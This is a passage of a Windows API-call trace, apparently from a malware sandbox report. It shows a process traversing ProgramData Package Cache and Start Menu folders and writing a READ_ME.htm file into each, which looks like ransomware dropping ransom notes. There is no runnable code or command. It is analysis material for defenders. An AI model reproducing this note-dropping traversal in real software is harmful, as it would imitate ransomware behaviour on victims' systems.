lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.955] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0139.955] SetErrorMode (uMode=0x1) returned 0x0 [0139.955] SetErrorMode (uMode=0x0) returned 0x1 [0139.956] GetFileType (hFile=0x1d0) returned 0x1 [0139.956] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0a380*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a0a380*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.957] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0139.957] SetErrorMode (uMode=0x1) returned 0x0 [0139.959] SetErrorMode (uMode=0x0) returned 0x1 [0139.959] GetFileType (hFile=0x1d0) returned 0x1 [0139.959] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0e9b0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2a0e9b0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.960] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpFilePart=0x0) returned 0x43 [0139.961] SetErrorMode (uMode=0x1) returned 0x0 [0139.961] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88dcc130, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88dcc130, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88dcc130, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.961] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.962] SetErrorMode (uMode=0x0) returned 0x1 [0139.962] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpFilePart=0x0) returned 0x43 [0139.962] SetErrorMode (uMode=0x1) returned 0x0 [0139.962] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88dcc130, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88dcc130, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88dcc130, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.963] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.963] SetErrorMode (uMode=0x0) returned 0x1 [0139.963] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0139.963] SetErrorMode (uMode=0x1) returned 0x0 [0139.964] SetErrorMode (uMode=0x0) returned 0x1 [0139.964] GetFileType (hFile=0x1d0) returned 0x1 [0139.964] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a15098*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2a15098*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.965] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpFilePart=0x0) returned 0x4e [0139.965] SetErrorMode (uMode=0x1) returned 0x0 [0139.966] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88f6f050, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88fbb310, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88fbb310, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.969] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.969] SetErrorMode (uMode=0x0) returned 0x1 [0139.969] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpFilePart=0x0) returned 0x4e [0139.969] SetErrorMode (uMode=0x1) returned 0x0 [0139.969] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88f6f050, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88fbb310, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88fbb310, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.969] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.969] SetErrorMode (uMode=0x0) returned 0x1 [0139.970] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0139.970] SetErrorMode (uMode=0x1) returned 0x0 [0139.970] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fbb310, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88fbb310, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88fbb310, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.970] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.971] SetErrorMode (uMode=0x0) returned 0x1 [0139.971] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0139.971] SetErrorMode (uMode=0x1) returned 0x0 [0139.971] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fbb310, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88fbb310, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88fbb310, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.971] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.971] SetErrorMode (uMode=0x0) returned 0x1 [0139.971] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6e [0139.972] SetErrorMode (uMode=0x1) returned 0x0 [0139.972] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fbb310, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88fe1470, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88fe1470, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.973] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.973] SetErrorMode (uMode=0x0) returned 0x1 [0139.973] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6e [0139.973] SetErrorMode (uMode=0x1) returned 0x0 [0139.974] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88fbb310, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x88fe1470, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x88fe1470, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.974] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.974] SetErrorMode (uMode=0x0) returned 0x1 [0139.974] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x7a [0139.974] SetErrorMode (uMode=0x1) returned 0x0 [0139.975] SetErrorMode (uMode=0x0) returned 0x1 [0139.975] GetFileType (hFile=0x1d0) returned 0x1 [0139.975] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a1fd10*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2a1fd10*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.979] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0139.979] SetErrorMode (uMode=0x1) returned 0x0 [0139.979] SetErrorMode (uMode=0x0) returned 0x1 [0139.980] GetFileType (hFile=0x1d0) returned 0x1 [0139.980] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a24360*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2a24360*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.981] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0139.981] SetErrorMode (uMode=0x1) returned 0x0 [0139.981] SetErrorMode (uMode=0x0) returned 0x1 [0139.982] GetFileType (hFile=0x1d0) returned 0x1 [0139.982] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a28990*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2a28990*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.983] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x43 [0139.983] SetErrorMode (uMode=0x1) returned 0x0 [0139.983] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf0ba10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9bf0ba10, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9bf0ba10, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.984] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.984] SetErrorMode (uMode=0x0) returned 0x1 [0139.984] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x43 [0139.984] SetErrorMode (uMode=0x1) returned 0x0 [0139.984] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9bf0ba10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x9bf0ba10, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x9bf0ba10, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.984] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.985] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\READ_ME.htm", lpFilePart=0x0) returned 0x4f [0139.986] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", lpFilePart=0x0) returned 0x4f [0139.989] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508", lpFilePart=0x0) returned 0x4f [0139.989] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages", lpFilePart=0x0) returned 0x58 [0139.989] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages", lpFilePart=0x0) returned 0x58 [0139.989] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6f [0139.990] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6f [0139.990] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages\\vcRuntimeMinimum_amd64\\READ_ME.htm", lpFilePart=0x0) returned 0x7b [0139.991] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x64 [0139.995] WriteFile (in: hFile=0x1d0, lpBuffer=0x283f8b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x283f8b8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.997] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{EEA66967-97E2-4561-A999-5C22E3CDE428}v14.25.28508\\READ_ME.htm", lpFilePart=0x0) returned 0x5b [0139.998] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpFilePart=0x0) returned 0x4e [0139.998] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpFilePart=0x0) returned 0x4e [0139.999] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0139.999] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", lpFilePart=0x0) returned 0x57 [0139.999] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x6f [0139.999] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86", lpFilePart=0x0) returned 0x6f [0140.000] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\READ_ME.htm", lpFilePart=0x0) returned 0x7b [0140.001] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0140.171] SetErrorMode (uMode=0x0) returned 0x1 [0140.173] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Start Menu\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Start Menu\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0140.173] SetErrorMode (uMode=0x1) returned 0x0 [0140.173] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\READ_ME.htm" (normalized: "c:\\programdata\\start menu\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0140.175] GetFileType (hFile=0x1d0) returned 0x1 [0140.176] SetErrorMode (uMode=0x0) returned 0x1 [0140.176] GetFileType (hFile=0x1d0) returned 0x1 [0140.176] WriteFile (in: hFile=0x1d0, lpBuffer=0x2867ae0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: 